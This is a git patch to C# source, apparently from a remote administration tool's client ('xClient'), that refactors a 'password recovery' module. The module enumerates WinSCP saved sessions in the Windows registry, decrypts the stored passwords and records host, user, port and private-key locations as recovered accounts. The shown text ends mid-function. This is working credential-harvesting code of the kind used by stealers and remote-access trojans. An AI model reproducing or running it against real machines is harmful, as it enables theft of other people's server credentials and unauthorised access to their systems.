From fed575fa2df502f89542d823bceec8b0c09bf4da Mon Sep 17 00:00:00 2001 From: MaxXor Date: Tue, 18 Aug 2015 18:24:18 +0200 Subject: [PATCH] Improved WinSCP Password Recovery --- .../Core/Extensions/RegistryKeyExtensions.cs | 9 +- Client/Core/Recovery/FtpClients/WinSCP.cs | 110 +++++++++--------- 2 files changed, 58 insertions(+), 61 deletions(-) diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Client/Core/Extensions/RegistryKeyExtensions.cs index 6cc82472..aa123004 100644 --- a/Client/Core/Extensions/RegistryKeyExtensions.cs +++ b/Client/Core/Extensions/RegistryKeyExtensions.cs @@ -23,9 +23,10 @@ namespace xClient.Core.Extensions /// /// The key of which we obtain the value of. /// The name of the key. + /// The default value if value can not be determinated. /// Returns the value of the key using the specified key name. If unable to do so, - /// string.Empty will be returned instead. - private static string GetValueSafe(this RegistryKey key, string keyName) + /// defaultValue will be returned instead. + public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "") { // Before calling this, use something such as "IsNameOrValueNull" to make sure // that the input used for this method is usable. The responsibility for this @@ -33,11 +34,11 @@ namespace xClient.Core.Extensions // allowing exceptions if any are generated. try { - return key.GetValue(keyName).ToString(); + return key.GetValue(keyName, defaultValue).ToString(); } catch { - return string.Empty; + return defaultValue; } } diff --git a/Client/Core/Recovery/FtpClients/WinSCP.cs b/Client/Core/Recovery/FtpClients/WinSCP.cs index c22374c1..6d7fb505 100644 --- a/Client/Core/Recovery/FtpClients/WinSCP.cs +++ b/Client/Core/Recovery/FtpClients/WinSCP.cs @@ -2,8 +2,8 @@ using System; using System.Collections.Generic; using System.Linq; -using System.Text; using xClient.Core.Data; +using xClient.Core.Extensions; namespace xClient.Core.Recovery.FtpClients { @@ -15,30 +15,30 @@ namespace xClient.Core.Recovery.FtpClients try { string RegKey = @"SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions"; - using (Microsoft.Win32.RegistryKey key = Registry.CurrentUser.OpenSubKey(RegKey)) + + using (RegistryKey key = Registry.CurrentUser.OpenSubKey(RegKey)) { foreach (String subkeyName in key.GetSubKeyNames()) { - if (Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "HostName", null) != null) + using (RegistryKey accountKey = key.OpenReadonlySubKeySafe(subkeyName)) { - string Host = Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "HostName", "").ToString(); - string User = Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "UserName", "").ToString(); - string Password = WinSCPDecrypt(User, Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "Password", "").ToString(), Host); - if ((Password == string.Empty) && ((Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PublicKeyFile", null) != null))) - Password = "[PRIVATE KEY AT " + Uri.UnescapeDataString(Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PublicKeyFile", null).ToString()) + "]"; - if (Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PortNumber", null) != null) - { - Host = Host + ":" + Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PortNumber", null); - } - else - { - Host = Host + ":22"; - } + if (accountKey == null) continue; + string host = accountKey.GetValueSafe("HostName"); + if (string.IsNullOrEmpty(host)) continue; + + string user = accountKey.GetValueSafe("UserName"); + string password = WinSCPDecrypt(user, accountKey.GetValueSafe("Password"), host); + string privateKeyFile = accountKey.GetValueSafe("PublicKeyFile"); + host += ":" + accountKey.GetValueSafe("PortNumber", "22"); + + if (string.IsNullOrEmpty(password) && !string.IsNullOrEmpty(privateKeyFile)) + password = string.Format("[PRIVATE KEY LOCATION: \"{0}\"]", Uri.UnescapeDataString(privateKeyFile)); + data.Add(new RecoveredAccount { - URL = Host, - Username = User, - Password = Password, + URL = host, + Username = user, + Password = password, Application = "WinSCP" }); } @@ -68,59 +68,55 @@ namespace xClient.Core.Recovery.FtpClients return ""; } string qq = pass; - List HashList = new List(); - foreach (char keyf in qq) - HashList.Add(keyf.ToString()); - List NewHashList = new List(); - for (int i = 0; i < HashList.Count; i++) + List hashList = qq.Select(keyf => keyf.ToString()).ToList(); + List newHashList = new List(); + for (int i = 0; i < hashList.Count; i++) { - if (HashList[i] == "A") - NewHashList.Add("10"); - if (HashList[i] == "B") - NewHashList.Add("11"); - if (HashList[i] == "C") - NewHashList.Add("12"); - if (HashList[i] == "D") - NewHashList.Add("13"); - if (HashList[i] == "E") - NewHashList.Add("14"); - if (HashList[i] == "F") - NewHashList.Add("15"); - if ("ABCDEF".IndexOf(HashList[i]) == -1) - NewHashList.Add(HashList[i]); + if (hashList[i] == "A") + newHashList.Add("10"); + if (hashList[i] == "B") + newHashList.Add("11"); + if (hashList[i] == "C") + newHashList.Add("12"); + if (hashList[i] == "D") + newHashList.Add("13"); + if (hashList[i] == "E") + newHashList.Add("14"); + if (hashList[i] == "F") + newHashList.Add("15"); + if ("ABCDEF".IndexOf(hashList[i]) == -1) + newHashList.Add(hashList[i]); } - List NewHashList2 = NewHashList; + List newHashList2 = newHashList; int length = 0; - if (dec_next_char(NewHashList2) == 255) - length = dec_next_char(NewHashList2); - NewHashList2.Remove(NewHashList2[0]); - NewHashList2.Remove(NewHashList2[0]); - NewHashList2.Remove(NewHashList2[0]); - NewHashList2.Remove(NewHashList2[0]); - length = dec_next_char(NewHashList2); - List NewHashList3 = NewHashList2; - NewHashList3.Remove(NewHashList3[0]); - NewHashList3.Remove(NewHashList3[0]); - int todel = dec_next_char(NewHashList2) * 2; + if (dec_next_char(newHashList2) == 255) + length = dec_next_char(newHashList2); + newHashList2.Remove(newHashList2[0]); + newHashList2.Remove(newHashList2[0]); + newHashList2.Remove(newHashList2[0]); + newHashList2.Remove(newHashList2[0]); + length = dec_next_char(newHashList2); + List newHashList3 = newHashList2; + newHashList3.Remove(newHashList3[0]); + newHashList3.Remove(newHashList3[0]); + int todel = dec_next_char(newHashList2) * 2; for (int i = 0; i < todel; i++) { - NewHashList2.Remove(NewHashList2[0]); + newHashList2.Remove(newHashList2[0]); } string password = ""; for (int i = -1; i < length; i++) { - string data = ((char)dec_next_char(NewHashList2)).ToString(); - NewHashList2.Remove(NewHashList2[0]); - NewHashList2.Remove(NewHashList2[0]); + string data = ((char)dec_next_char(newHashList2)).ToString(); + newHashList2.Remove(newHashList2[0]); + newHashList2.Remove(newHashList2[0]); password = password + data; } string splitdata = user + host; - int len = password.Length - 1; - int sp = password.IndexOf(splitdata); + int sp = password.IndexOf(splitdata, StringComparison.Ordinal); password = password.Remove(0, sp); password = password.Replace(splitdata, ""); return password; - } catch {